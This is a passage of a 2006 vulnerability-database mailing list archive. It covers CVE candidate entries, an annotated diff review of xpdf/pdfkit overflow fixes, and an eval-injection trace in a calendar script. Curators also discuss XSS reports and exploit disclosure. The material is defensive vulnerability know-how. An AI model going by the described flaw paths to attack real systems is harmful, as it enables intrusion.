Reference: URL:http://www.securityfocus.com/archive/1/archive/1/427155/100/0/threaded
The web interface for IBM Tivoli Micromuse Netcool/NeuSecure 3.0.236
includes the MySQL database username and password in cleartext in
body.phtml, which allows remote attackers to gain privileges by
reading the source. NOTE: IBM has privately confirmed to CVE that a
fix is available for these issues.
Analysis:
ACKNOWLEDGEMENT: Jimmy Alderson confirmed this issue with Steve
Christey by phone on March 14, 2006.
======================================================
Name: CVE-2006-1211
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1211
Acknowledged: yes via-phone
Announced: 20060308
Flaw: other
Reference: BUGTRAQ:20060308 Remote access to NeuSecure/Netcool backend database via web interface credentials leakage
Reference: URL:http://www.securityfocus.com/archive/1/archive/1/427155/100/0/threaded
IBM Tivoli Micromuse Netcool/NeuSecure 3.0.236 configures a MySQL
database to allow connections from any source IP address with the ns
database account, which allows remote attackers to bypass the
Netcool/NeuSecure application layer and perform unauthorized database
actions. NOTE: IBM has privately confirmed to CVE that a fix is
available for these issues.
Analysis:
ACKNOWLEDGEMENT: Jimmy Alderson confirmed this issue with Steve
Christey by phone on March 14, 2006.
From coley at linus.mitre.org Tue Mar 14 19:41:22 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 14 Mar 2006 19:41:22 -0500 (EST)
Subject: [VIM] vendor dispute: VCS
In-Reply-To:
References:
Message-ID:
While investigating this issue further, I found that the
Request_Name_Display parameter in the same affected script has an XSS
issue (probably reflected instead of stored). I didn't look any further.
Specifically:
Request_Name_Display=LSSFAX
generates a pretty big-lookin cookie.
- Steve
From coley at linus.mitre.org Wed Mar 15 13:11:39 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Wed, 15 Mar 2006 13:11:39 -0500 (EST)
Subject: [VIM] *pdf - new issues or old?
In-Reply-To:
References:
Message-ID:
I've done some followup work on this. See below. In brief, I agree with
the BID/OSVDB decisions to create a new item for "unspecified" vulns,
although it's not 100% sure whether there are really new vulns or not.
- Steve
=============================
OK,
Due to a serious, temporary lack of judgment, I decided to do some
diff digging for DEBIAN:DSA-979 to see if the pdfkit.framework/xpdf
patches include anything beyond what's already been covered in xpdf.
I used this:
http://security.debian.org/pool/updates/main/p/pdfkit.framework/pdfkit.framework_0.8-2sarge3.diff.gz
Below are all the relevant diffs, minus all the extra cruft like
makefile changes, etc.
My notes start with "[*** SMC"
This is an informal, diff-only analysis with a bit of guesswork. That
said, these diffs do appear to include some security-relevant changes
that do not have associated CVEs, but:
- some could be defensive in nature (e.g. gmem.c changes)
- the developer might have fixed some issues simultaneously with a
particular CVE, although only one particular issue might have been
mentioned (CVE-2005-3192 is an example)
- some code might not be user-triggerable
Finally: if you want to do some followup analysis, the diff's for gpdf
(DSA-982) were more closely labeled with CVE or CAN numbers, which
might help resolve some of the open questions I have below. At the
moment I'm out of time to do more.
- Steve
==================================================================
==================================================================
Name: CVE-2006-1244
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1244
Reference: DEBIAN:DSA-979
Reference: URL:http://www.debian.org/security/2006/dsa-979
Reference: MISC:http://security.debian.org/pool/updates/main/p/pdfkit.framework/pdfkit.framework_0.8-2sarge3.diff.gz
Reference: DEBIAN:DSA-982
Reference: URL:http://www.debian.org/security/2006/dsa-982
Reference: DEBIAN:DSA-983
Reference: URL:http://www.debian.org/security/2006/dsa-983
Reference: DEBIAN:DSA-984
Reference: URL:http://www.debian.org/security/2006/dsa-984
Reference: BID:16748
Reference: URL:http://www.securityfocus.com/bid/16748
Reference: OSVDB:23834
Reference: URL:http://www.osvdb.org/23834
Unspecified vulnerability in certain versions of xpdf after 3.00, as
used in various products including (a) pdfkit.framework, (b) gpdf, (c)
pdftohtml, has unknown impact and user-complicit attack vectors,
possibly involving errors in (1) gmem.c, (2) SplashXPathScanner.cc,
(3) JBIG2Stream.cc, (4) JPXStream.cc, and/or (5) Stream.cc. NOTE:
this description is based on Debian advisory DSA 979, which is based
on changes that were made after other vulnerabilities such as
CVE-2006-0301 and CVE-2005-3624 through CVE-2005-3628 were fixed.
Some of these newer fixes appear to be security-relevant, although it
is not clear if they fix specific issues or are defensive in nature.
==================================================================
==================================================================
Diffs
==================================================================
==================================================================
--- pdfkit.framework-0.8.orig/xpdf/xpdf-3.00/goo/gmem.c
+++ pdfkit.framework-0.8/xpdf/xpdf-3.00/goo/gmem.c
@@ -11,6 +11,7 @@
#include
#include
#include
+#include
#include "gmem.h"
#ifdef DEBUG_MEM
@@ -62,7 +63,7 @@
int lst;
unsigned long *trl, *p;
- if (size == 0)
[*** SMC. smells like signedness errors, but maybe it's just a
defensive measure? ***]
+ if (size <= 0)
return NULL;
size1 = gMemDataSize(size);
if (!(mem = (char *)malloc(size1 + gMemHdrSize + gMemTrlSize))) {
@@ -84,7 +85,7 @@
#else
void *p;
- if (size == 0)
+ if (size <= 0)
return NULL;
if (!(p = malloc(size))) {
fprintf(stderr, "Out of memory\n");
@@ -100,7 +101,7 @@
void *q;
int oldSize;
- if (size == 0) {
+ if (size <= 0) {
if (p)
gfree(p);
return NULL;
@@ -118,7 +119,7 @@
#else
void *q;
- if (size == 0) {
+ if (size <= 0) {
if (p)
free(p);
return NULL;
--- pdfkit.framework-0.8.orig/xpdf/xpdf-3.00/splash/Splash.cc
+++ pdfkit.framework-0.8/xpdf/xpdf-3.00/splash/Splash.cc
@@ -734,6 +734,10 @@
SplashMono1P *mono1;
SplashBGR8P *bgr8;
[*** SMC. Likely CVE-2006-0301 ***]
+ if ( (unsigned) x >= (unsigned) bitmap->getWidth() ||
+ (unsigned) y >= (unsigned) bitmap->getHeight())
+ return;
+
if (noClip || state->clip->test(x, y)) {
color = pattern->getColor(x, y);
switch (bitmap->mode) {
@@ -771,6 +775,11 @@
SplashMono1 mask1;
int i, j, n;
+ if ((unsigned) x0 >= (unsigned) bitmap->getWidth() ||
+ (unsigned) x1 >= (unsigned) bitmap->getWidth() ||
+ (unsigned) y >= (unsigned) bitmap->getHeight())
+ return;
+
n = x1 - x0 + 1;
switch (bitmap->mode) {
@@ -858,6 +867,11 @@
n = x1 - x0 + 1;
+ if ((unsigned) x0 >= (unsigned) bitmap->getWidth() ||
+ (unsigned) x1 >= (unsigned) bitmap->getWidth() ||
+ (unsigned) y >= (unsigned) bitmap->getHeight())
+ return;
+
switch (bitmap->mode) {
case splashModeMono1:
mono1 = &bitmap->data.mono8[y * bitmap->rowSize + (x0 >> 3)];
--- pdfkit.framework-0.8.orig/xpdf/xpdf-3.00/splash/SplashXPathScanner.cc
+++ pdfkit.framework-0.8/xpdf/xpdf-3.00/splash/SplashXPathScanner.cc
@@ -182,7 +182,7 @@
}
[*** SMC. I didn't look closely at this patch to determine if there
is any security relevance. need more context. ***]
void SplashXPathScanner::computeIntersections(int y) {
- SplashCoord ySegMin, ySegMax, xx0, xx1;
+ SplashCoord xSegMin, xSegMax, ySegMin, ySegMax, xx0, xx1;
SplashXPathSeg *seg;
int i, j;
@@ -232,19 +232,27 @@
} else if (seg->flags & splashXPathVert) {
xx0 = xx1 = seg->x0;
} else {
- if (ySegMin <= y) {
- // intersection with top edge
- xx0 = seg->x0 + (y - seg->y0) * seg->dxdy;
+ if (seg->x0 < seg->x1) {
+ xSegMin = seg->x0;
+ xSegMax = seg->x1;
} else {
- // x coord of segment endpoint with min y coord
- xx0 = (seg->flags & splashXPathFlip) ? seg->x1 : seg->x0;
+ xSegMin = seg->x1;
+ xSegMax = seg->x0;
}
- if (ySegMax >= y + 1) {
- // intersection with bottom edge
- xx1 = seg->x0 + (y + 1 - seg->y0) * seg->dxdy;
- } else {
- // x coord of segment endpoint with max y coord
- xx1 = (seg->flags & splashXPathFlip) ? seg->x0 : seg->x1;
+ // intersection with top edge
+ xx0 = seg->x0 + ((SplashCoord)y - seg->y0) * seg->dxdy;
+ // intersection with bottom edge
+ xx1 = seg->x0 + ((SplashCoord)y + 1 - seg->y0) * seg->dxdy;
+ // the segment may not actually extend to the top and/or bottom edges
+ if (xx0 < xSegMin) {
+ xx0 = xSegMin;
+ } else if (xx0 > xSegMax) {
+ xx0 = xSegMax;
+ }
+ if (xx1 < xSegMin) {
+ xx1 = xSegMin;
+ } else if (xx1 > xSegMax) {
+ xx1 = xSegMax;
}
}
if (xx0 < xx1) {
--- pdfkit.framework-0.8.orig/xpdf/xpdf-3.00/xpdf/JBIG2Stream.cc
+++ pdfkit.framework-0.8/xpdf/xpdf-3.00/xpdf/JBIG2Stream.cc
@@ -13,6 +13,7 @@
#endif
#include
+#include
#include "GList.h"
#include "Error.h"
#include "JArithmeticDecoder.h"
@@ -681,7 +682,14 @@
w = wA;
h = hA;
line = (wA + 7) >> 3;
[*** SMC. might have been fixed simultaneously with JBIG2Bitmap (see
below). ***]
- data = (Guchar *)gmalloc(h * line);
+
+ if (w <= 0 || h <= 0 || line <= 0 || h >= (INT_MAX - 1) / line)
+ data = NULL;
+ else {
+ // need to allocate one extra guard byte for use in combine()
+ data = (Guchar *)gmalloc(h * line + 1);
+ data[h * line] = 0;
+ }
}
JBIG2Bitmap::JBIG2Bitmap(Guint segNumA, JBIG2Bitmap *bitmap):
@@ -690,8 +698,15 @@
w = bitmap->w;
h = bitmap->h;
line = bitmap->line;
- data = (Guchar *)gmalloc(h * line);
[*** SMC. Possibly CVE-2005-3628 ***]
+
+ if (h < 0 || line <= 0 || h >= (INT_MAX-1) / line) {
+ data = NULL;
+ return;
+ }
+
+ data = (Guchar *)gmalloc(h * line + 1);
memcpy(data, bitmap->data, h * line);
+ data[h * line] = 0;
}
JBIG2Bitmap::~JBIG2Bitmap() {
@@ -716,10 +731,10 @@
}
void JBIG2Bitmap::expand(int newH, Guint pixel) {
- if (newH <= h) {
+ if (newH <= h || line <= 0 || newH >= (INT_MAX-1) / line) {
return;
}
[*** SMC. off-by-one overflow? or maybe this is really where
CVE-2005-3628 belongs? ***]
- data = (Guchar *)grealloc(data, newH * line);
+ data = (Guchar *)grealloc(data, newH * line + 1);
if (pixel) {
memset(data + h * line, 0xff, (newH - h) * line);
} else {
@@ -2246,6 +2261,15 @@
goto eofError;
}
[*** SMC. sanity checking for integer overflow? rolled together with
CVE-2005-3628 ? ***]
+ if (w == 0 || h == 0 || w >= INT_MAX / h) {
+ error(getPos(), "Bad bitmap size in JBIG2 halftone segment");
+ return;
+ }
+ if (gridH == 0 || gridW >= INT_MAX / gridH) {
+ error(getPos(), "Bad grid size in JBIG2 halftone segment");
+ return;
+ }
+
// get pattern dictionary
if (nRefSegs != 1) {
error(getPos(), "Bad symbol dictionary reference in JBIG2 halftone segment");
@@ -2256,6 +2280,16 @@
error(getPos(), "Bad symbol dictionary reference in JBIG2 halftone segment");
return;
}
+
+ if (gridH == 0 || gridW >= INT_MAX / gridH) {
+ error(getPos(), "Bad size in JBIG2 halftone segment");
+ return;
+ }
+ if (w == 0 || h >= INT_MAX / w) {
+ error(getPos(), "Bad size in JBIG2 bitmap segment");
+ return;
+ }
+
patternDict = (JBIG2PatternDict *)seg;
bpp = 0;
i = 1;
@@ -2887,6 +2921,9 @@
JBIG2BitmapPtr tpgrCXPtr0, tpgrCXPtr1, tpgrCXPtr2;
int x, y, pix;
+ if (w < 0 || h <= 0 || w >= INT_MAX / h)
+ return NULL;
+
bitmap = new JBIG2Bitmap(0, w, h);
bitmap->clearToZero();
--- pdfkit.framework-0.8.orig/xpdf/xpdf-3.00/xpdf/JPXStream.cc
+++ pdfkit.framework-0.8/xpdf/xpdf-3.00/xpdf/JPXStream.cc
@@ -7,6 +7,7 @@
//========================================================================
#include
+#include
#ifdef USE_GCC_PRAGMAS
#pragma implementation
@@ -666,7 +667,7 @@
int segType;
GBool haveSIZ, haveCOD, haveQCD, haveSOT;
Guint precinctSize, style;
- Guint segLen, capabilities, comp, i, j, r;
+ Guint segLen, capabilities, nTiles, comp, i, j, r;
//----- main header
haveSIZ = haveCOD = haveQCD = haveSOT = gFalse;
@@ -701,7 +702,19 @@
/ img.xTileSize;
img.nYTiles = (img.ySize - img.yTileOffset + img.yTileSize - 1)
/ img.yTileSize;
[*** SMC. smells like CVE-2005-3193 ***]
- img.tiles = (JPXTile *)gmalloc(img.nXTiles * img.nYTiles *
+ // check for overflow before allocating memory
+ if (img.nXTiles <= 0 || img.nYTiles <= 0 ||
+ img.nXTiles >= INT_MAX/img.nYTiles) {
+ error(getPos(), "Bad tile count in JPX SIZ marker segment");
+ return gFalse;
+ }
+ nTiles = img.nXTiles * img.nYTiles;
+ // check for overflow before allocating memory
+ if (nTiles == 0 || nTiles >= INT_MAX/sizeof(JPXTile)) {
+ error(getPos(), "Bad tile count in JPX SIZ marker segment");
+ return gFalse;
+ }
+ img.tiles = (JPXTile *)gmalloc(nTiles *
sizeof(JPXTile));
for (i = 0; i < img.nXTiles * img.nYTiles; ++i) {
img.tiles[i].tileComps = (JPXTileComp *)gmalloc(img.nComps *
--- pdfkit.framework-0.8.orig/xpdf/xpdf-3.00/xpdf/Stream.cc
+++ pdfkit.framework-0.8/xpdf/xpdf-3.00/xpdf/Stream.cc
@@ -15,6 +15,7 @@
#include
#include
#include
+#include
#ifndef WIN32
#include
#endif
@@ -407,18 +408,41 @@
StreamPredictor::StreamPredictor(Stream *strA, int predictorA,
int widthA, int nCompsA, int nBitsA) {
+ int totalBits;
+
str = strA;
predictor = predictorA;
width = widthA;
nComps = nCompsA;
nBits = nBitsA;
+ predLine = NULL;
+ ok = gFalse;
[*** SMC. possibly CVE-2005-3192, but I thought that was for a
"numComps" issue (see below). Possible analysis error in
CVE-2005-3192. or maybe this is CVE-2005-3627 item (1) ***]
+ if (width <= 0 || nComps <= 0 || nBits <= 0 ||
+ nComps >= INT_MAX/nBits ||
+ width >= INT_MAX/nComps/nBits) {
+ return;
+ }
nVals = width * nComps;
+ if (nVals + 7 <= 0) {
+ return;
+ }
+ totalBits = nVals * nBits;
+ if (totalBits == 0 ||
+ (totalBits / nBits) / nComps != width ||
+ totalBits + 7 < 0) {
+ return;
+ }
pixBytes = (nComps * nBits + 7) >> 3;
- rowBytes = ((nVals * nBits + 7) >> 3) + pixBytes;
+ rowBytes = ((totalBits + 7) >> 3) + pixBytes;
+ if (rowBytes < 0) {
+ return;
+ }
predLine = (Guchar *)gmalloc(rowBytes);
memset(predLine, 0, rowBytes);
predIdx = rowBytes;
+
+ ok = gTrue;
}
StreamPredictor::~StreamPredictor() {
@@ -1012,6 +1036,10 @@
FilterStream(strA) {
if (predictor != 1) {
pred = new StreamPredictor(this, predictor, columns, colors, bits);
+ if (!pred->isOk()) {
+ delete pred;
+ pred = NULL;
+ }
} else {
pred = NULL;
}
@@ -1260,6 +1288,12 @@
endOfLine = endOfLineA;
byteAlign = byteAlignA;
columns = columnsA;
+
+ if (columns + 4 < 1 || (columns + 4) >= INT_MAX / sizeof(short)) {
+ error(getPos(), "Bad number of columns in CCITTFaxStream");
+ exit(1);
+ }
+
rows = rowsA;
endOfBlock = endOfBlockA;
black = blackA;
@@ -2897,6 +2931,11 @@
height = read16();
width = read16();
numComps = str->getChar();
[*** SMC. possibly CVE-2005-3627 item (1), or maybe CVE-2005-3192 ***]
+ if (numComps <= 0 || numComps > 4) {
+ numComps = 0;
+ error(getPos(), "Bad number of components in DCT stream", prec);
+ return gFalse;
+ }
if (prec != 8) {
error(getPos(), "Bad DCT precision %d", prec);
return gFalse;
@@ -2923,6 +2962,11 @@
height = read16();
width = read16();
numComps = str->getChar();
+ if (numComps <= 0 || numComps > 4) {
+ numComps = 0;
+ error(getPos(), "Bad number of components in DCT stream");
+ return gFalse;
+ }
if (prec != 8) {
error(getPos(), "Bad DCT precision %d", prec);
return gFalse;
@@ -2945,6 +2989,11 @@
length = read16() - 2;
scanInfo.numComps = str->getChar();
[*** SMC. possibly CVE-2005-3627 item (3) ***]
+ if (scanInfo.numComps <= 0 || scanInfo.numComps > 4) {
+ scanInfo.numComps = 0;
+ error(getPos(), "Bad number of components in DCT stream");
+ return gFalse;
+ }
--length;
if (length != 2 * scanInfo.numComps + 3) {
error(getPos(), "Bad DCT scan info block");
@@ -3019,12 +3068,12 @@
while (length > 0) {
index = str->getChar();
--length;
[*** SMC. possibly CVE-2005-3627 item (2) ***]
- if ((index & 0x0f) >= 4) {
+ if ((index & ~0x10) >= 4 || (index & ~0x10) < 0) {
error(getPos(), "Bad DCT Huffman table");
return gFalse;
}
if (index & 0x10) {
- index &= 0x0f;
+ index &= 0x03;
if (index >= numACHuffTables)
numACHuffTables = index+1;
tbl = &acHuffTables[index];
@@ -3255,6 +3304,10 @@
FilterStream(strA) {
if (predictor != 1) {
pred = new StreamPredictor(this, predictor, columns, colors, bits);
+ if (!pred->isOk()) {
+ delete pred;
+ pred = NULL;
+ }
} else {
pred = NULL;
}
--- pdfkit.framework-0.8.orig/debian/changelog
+++ pdfkit.framework-0.8/debian/changelog
@@ -0,0 +1,97 @@
+pdfkit.framework (0.8-2sarge3) stable-security; urgency=high
+
+ * Non-maintainer upload by the Security Team
+ * Backported upstream patch by Derek Noonburg to fix several
+ vulnerabilities [xpdf/xpdf-3.00/splash/SplashXPathScanner.cc,
+ xpdf/xpdf-3.00/xpdf/JBIG2Stream.cc, xpdf/xpdf-3.00/xpdf/Stream.h,
+ xpdf/xpdf-3.00/goo/gmem.c]
+
+ -- Martin Schulze Wed, 15 Feb 2006 08:33:56 +0100
+
+pdfkit.framework (0.8-2sarge2) stable-security; urgency=high
+
+ * Non-maintainer upload by the Security Team
+ * Ported patch to fix buffer overflow [splash/Splash.cc, CVE-2006-0301]
+
+ -- Martin Schulze Sat, 4 Feb 2006 17:45:01 +0100
+
+pdfkit.framework (0.8-2sarge1) stable-security; urgency=high
+
+ * Non-maintainer upload by the Security Team
+ * Applied the patch to fix several buffer overflows
+ [xpdf-3.00/xpdf/JBIG2Stream.cc, xpdf-3.00/xpdf/JBIG2Stream.cc,
+ xpdf-3.00/xpdf/Stream.cc, xpdf-3.00/xpdf/Stream.h, CVE-2005-3191,
+ CVE-2005-3193]
+
[*** SMC. rest of changelog deleted. ***]
From coley at linus.mitre.org Wed Mar 15 19:18:12 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Wed, 15 Mar 2006 19:18:12 -0500 (EST)
Subject: [VIM] *pdf - new issues or old?
In-Reply-To:
References:
Message-ID:
OK... Red Hat noticed the new candidate and passed that onto vendor-sec,
and I sent vendor-sec the details of my analysis. First comment has been
that it looks like everything had been covered by other CVEs or were
defensive tactics. Hold onto your hats...
- Steve
From jericho at attrition.org Thu Mar 16 00:15:20 2006
From: jericho at attrition.org (security curmudgeon)
Date: Thu, 16 Mar 2006 00:15:20 -0500 (EST)
Subject: [VIM] *pdf - new issues or old?
In-Reply-To:
References:
Message-ID:
: OK... Red Hat noticed the new candidate and passed that onto vendor-sec,
: and I sent vendor-sec the details of my analysis. First comment has
: been that it looks like everything had been covered by other CVEs or
: were defensive tactics. Hold onto your hats...
At the conclusion, make sure you scold / remind them about the purpose of
CVE, and avoiding such hassles in the future.
From jericho at attrition.org Thu Mar 16 06:39:06 2006
From: jericho at attrition.org (security curmudgeon)
Date: Thu, 16 Mar 2006 06:39:06 -0500 (EST)
Subject: [VIM] Vulnerability fixed in E-gold (fwd)
Message-ID:
I know the VDB's don't track site specific bugs for the most part, but
this is certainly interesting for many reasons.
While OSVDB doesn't currently track site specific issues, I personally
keep notes/info on them. We have discussed various ways to integrate the
information into the database, so the information is available in one
place, but without really mixing it into the main database. We all agree
that keeping it seperate is required, but we also agree that not counting
or tracking vulnerabilities in online services that millions of people use
and rely on isn't ideal. Vulns in Google, Gmail, Yahoo and others are just
as bad as vulns in downloaded apps really.
Has anyone else considered doing this in any fashion? What are the pros
and cons in your eyes?
---------- Forwarded message ----------
From: 3APA3A <3APA3A at security.nnov.ru>
To: full-disclosure at lists.grok.org.uk, bugtraq at securityfocus.com
Date: Thu, 16 Mar 2006 01:17:49 +0300
Subject: Vulnerability fixed in E-gold
Hello full-disclosure, bugtraq
Netsling (shurik.f_(at)_gmail.com) reported vulnerability in E-gold.
Vulnerability was reported and fixed in E-gold partner payment script.
It was possible to transfer money from E-gold account without
knowledge of AccounID/PassPhrase if user is logged on.
Vulnerability details can be found at
http://bhunter.awardspace.com/vuln-en.html
The most interesting thing here is E-gold reaction:
1. Vendor fixed vulnerability within 24 hours.
2. Vendor decided to reward researcher without any request from his
side.
3. Vendor gave permission to publish vulnerability information.
Just ideal. I hope Microsoft to read this.
Vulnerability was found and reported to E-gold by nestling, Web
software developer from Russia. Please contact him directly, if you
have any questions, because I was only asked to translate and publish
this information.
--
/3APA3A
http://www.security.nnov.ru/
From coley at linus.mitre.org Thu Mar 16 14:59:14 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Thu, 16 Mar 2006 14:59:14 -0500 (EST)
Subject: [VIM] Vulnerability fixed in E-gold (fwd)
In-Reply-To:
References:
Message-ID:
On Thu, 16 Mar 2006, security curmudgeon wrote:
> I know the VDB's don't track site specific bugs for the most part
I'm starting to think that this is a bit of an issue, from the respect of
monitoring the space of "all known" vulnerabilities, no matter where they
live or how ephemeral they are. It feels like we're missing out on a bit.
The existing DBs out there do have good reasons for not tracking these,
but it would be a good thing if someone did it.
> Has anyone else considered doing this in any fashion? What are the pros
> and cons in your eyes?
The con would probably be the sheer amount of issues (XSS would be king,
and high risk in this context). I imagine there would be high analytical
expenses to distinguish a site-specific issue from a problem in a third
party package that the site is using. Actually, this expense is starting
to show up in CVE, just so we can decide whether or not to include
something.
The pros would be similar to the pros of disclosure in distributed
software, although the same cons would be inherited too. e.g. someone
might hear "XSS in Google" and assume there was some major obvious
mistake, even if it required a really obscure attack that took advantage
of broken browsers and non-standard behavior.
I VERY loosely track these kinds of issues if they're posted to Bugtraq,
but they're not in any central location. Rather, I don't completely throw
away the reference. CVE will be making some internal process changes that
might allow this tracking to happen a little more cleanly, but I'm not
sure when that would happen.
- Steve
From jericho at attrition.org Fri Mar 17 07:40:59 2006
From: jericho at attrition.org (security curmudgeon)
Date: Fri, 17 Mar 2006 07:40:59 -0500 (EST)
Subject: [VIM] vendor ack/fix: Sitekit CMS
Message-ID:
---------- Forwarded message ----------
From: Alex Matheson
To: moderators at osvdb.org
Date: Thu, 16 Mar 2006 15:59:12 -0000
Subject: [OSVDB Mods] Request for removal of entries: 22073 22071 22072
Hi there,
I have come across several pages mentioning Cross-Site Scripting
Vulnerabilities in our software
http://www.osvdb.org/displayvuln.php?osvdb_id=
22073
22071
22072
I would like to notify you that this vulnerability only affected a
historical version of our software (v6.6). Sitekit is currently at
version 6.9 and the issue was resolved some time ago in version 6.6.1
We have upgraded all of our clients and removed the old version from
distribution.
Please can you remove the above 3 entries from your database.
Let me know if there is any more information I can provide
Regards,
Alex Matheson
Alex Matheson
Integration Manager
Sitekit Solutions Ltd :::web excellence:::
Operations Centre: Bloxham Mill, Barford Road, Banbury, Oxfordshire, OX15 4FF
Development Centre: Sitekit House, Broom Place, Portree, Isle of Skye, IV51 9HL
t: 0870 1999 991 w:www.sitekit.net e:
From coley at mitre.org Sat Mar 18 19:05:35 2006
From: coley at mitre.org (Steven M. Christey)
Date: Sat, 18 Mar 2006 19:05:35 -0500 (EST)
Subject: [VIM] Source VERIFY - Light Weight Calendar issue is eval injection
Message-ID: <200603190005.k2J05ZCH019454@cairo.mitre.org>
I did some source code inspection of the Light Weight Calendar issue
reported here:
http://www.milw0rm.com/exploits/1570
(date parameter to index.php).
The issue is due to eval injection in cal.php.
index.php merely requires cal.php. calEnter() is called at the top
level of cal.php. It calls calOpen(), which sets $date to
$_REQUEST['date'], calling calMain() with the $date arugment, which
calls calLeftSide with the $date argument, which is inserted into a $s
variable, which is then fed directly into eval($s).
From coley at mitre.org Sat Mar 18 19:22:15 2006
From: coley at mitre.org (Steven M. Christey)
Date: Sat, 18 Mar 2006 19:22:15 -0500 (EST)
Subject: [VIM] Vendor ACK for Skull-Splitter Guestbook XSS
Message-ID: <200603190022.k2J0MFfL019481@cairo.mitre.org>
Reference: eVuln
http://evuln.com/vulns/104/summary.html
Vendor front page includes an item dated 18. March 2006 that says " A
new version of my guestbook script has been released. Aliaksandr
Hartsuyeu from http://evuln.com has kindly pointed out a XSS
vulnerability which I now believe to have fixed."
Note that "Skull-Splitter" does not appear as prominently as the
author's real name, Soten Boysen. SkullSplitter appears to be an AIM
nick.
- Steve
From coley at mitre.org Sat Mar 18 20:04:45 2006
From: coley at mitre.org (Steven M. Christey)
Date: Sat, 18 Mar 2006 20:04:45 -0500 (EST)
Subject: [VIM] Apache log4net issue is a format string
Message-ID: <200603190104.k2J14jSt019639@cairo.mitre.org>
Whoops, forgot to tell people that the vaguely reported log4net issue
is a format string. See CVE's analysis field below.
======================================================
Name: CVE-2006-0743
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0743
Acknowledged: yes advisory
Announced: 20060309
Flaw: format-string
Reference: CONFIRM:http://issues.apache.org/jira/browse/LOG4NET-67
Reference: BID:17095
Reference: URL:http://www.securityfocus.com/bid/17095
Reference: SECUNIA:19241
Reference: URL:http://secunia.com/advisories/19241
Format string vulnerability in LocalSyslogAppender in Apache log4net
1.2.9 might allow remote attackers to cause a denial of service (memory
corruption and termination) via unknown vectors.
Analysis:
ACCURACY: bug type provided by Marcus Meissner via e-mail on March 13,
2006.
From coley at mitre.org Sun Mar 19 22:14:57 2006
From: coley at mitre.org (Steven M. Christey)
Date: Sun, 19 Mar 2006 22:14:57 -0500 (EST)
Subject: [VIM] FrSIRT closes exploit section due to French laws
Message-ID: <200603200314.k2K3EvsU022289@cairo.mitre.org>
from http://www.frsirt.com/exploits/
"In conformity with applicable French laws prohibiting
Full-disclosure, the FrSIRT will no longer distribute exploits and
PoCs on its public web site. Public exploits section has thus been
definitively closed."
However, they still offer the information to subscribers. Wonder if
that's a loophole in French law.
Sometimes I wonder if vuln DBs are next.
- Steve
From jericho at attrition.org Tue Mar 21 01:44:41 2006
From: jericho at attrition.org (security curmudgeon)
Date: Tue, 21 Mar 2006 01:44:41 -0500 (EST)
Subject: [VIM] betaparticle disclosure drama?
Message-ID:
http://blog.betaparticle.com/template_permalink.asp?id=102
Here's the exploit details but I don't really understand how an "advisory
site" with only one exploit listed, could've heard about this only minutes
after the hacks occurred. Hmmm...it looks like they're the ones who did
the hacking but I'll reserve judgment until this simple coincidence is
explained to me. Where did they get the info for this hack? Was it sent
to them or did they write it?
--
where 'exploit details' links to http://www.nukedx.com/?getxpl=20
From jericho at attrition.org Tue Mar 21 02:59:00 2006
From: jericho at attrition.org (security curmudgeon)
Date: Tue, 21 Mar 2006 02:59:00 -0500 (EST)
Subject: [VIM] myBloggie vendor ack and humor
Message-ID:
This is for older issues, not the 2006-03-09 XSS disclosure.
http://mybloggie.mywebland.com/index.php?mode=viewid&post_id=17
The humor.. look at the blog comment spam. Not a very good endorsement for
the blog software if you can't filter that =)
From theall at tenablesecurity.com Tue Mar 21 08:02:19 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Tue, 21 Mar 2006 08:02:19 -0500
Subject: [VIM] betaparticle disclosure drama?
In-Reply-To:
References:
Message-ID: <441FF95B.4090808@tenablesecurity.com>
security curmudgeon wrote:
> http://blog.betaparticle.com/template_permalink.asp?id=102
>
> Here's the exploit details but I don't really understand how an
> "advisory site" with only one exploit listed, could've heard about this
> only minutes after the hacks occurred. Hmmm...it looks like they're the
> ones who did the hacking but I'll reserve judgment until this simple
> coincidence is explained to me. Where did they get the info for this
> hack? Was it sent to them or did they write it?
Looks like the blog author "missed" the fact that nukedx.com site
belongs to the same person who submitted the original advisory. This
seems odd, though, given that nukedx claims to have notified the vendor.
Did he/she just fail to make the connection?
I'm also mildly curious about the phrase "after the hacks occurred".
Does this mean sites were actually hacked? Or is he/she equating the
term hacking with research?
George
From jericho at attrition.org Tue Mar 21 08:03:31 2006
From: jericho at attrition.org (security curmudgeon)
Date: Tue, 21 Mar 2006 08:03:31 -0500 (EST)
Subject: [VIM] betaparticle disclosure drama?
In-Reply-To: <441FF95B.4090808@tenablesecurity.com>
References:
<441FF95B.4090808@tenablesecurity.com>
Message-ID:
: > http://blog.betaparticle.com/template_permalink.asp?id=102
: >
: > Here's the exploit details but I don't really understand how an
: > "advisory site" with only one exploit listed, could've heard about this
: > only minutes after the hacks occurred. Hmmm...it looks like they're the
: > ones who did the hacking but I'll reserve judgment until this simple
: > coincidence is explained to me. Where did they get the info for this
: > hack? Was it sent to them or did they write it?
:
: Looks like the blog author "missed" the fact that nukedx.com site
: belongs to the same person who submitted the original advisory. This
: seems odd, though, given that nukedx claims to have notified the vendor.
: Did he/she just fail to make the connection?
:
: I'm also mildly curious about the phrase "after the hacks occurred".
: Does this mean sites were actually hacked? Or is he/she equating the
: term hacking with research?
If you skim through the posts, it sounds like the site was hacked as well
as several others, suggesting the nukedx group was responsible due to the
timing.
Also of interest, someone says their "4.x" version was hacked, meaning we
know the vuln affects older versions OR there is a different
vulnerability present in the software.
From coley at linus.mitre.org Tue Mar 21 12:11:26 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 21 Mar 2006 12:11:26 -0500 (EST)
Subject: [VIM] betaparticle disclosure drama?
In-Reply-To: <441FF95B.4090808@tenablesecurity.com>
References:
<441FF95B.4090808@tenablesecurity.com>
Message-ID:
On Tue, 21 Mar 2006, George A. Theall wrote:
> I'm also mildly curious about the phrase "after the hacks occurred".
I've seen enough vendor forum threads where people get hacked within
minutes or hours of someone posting fully functional exploit code. This
seems to be how most vendors to find out about vulnerability posts from
retrogod, for example.
So in this case, you can't necessarily be sure it's nukedx - however I do
recall at least one case where someone released an advisory after hacking
the affected vendor's site, although I forget the specifics. And since
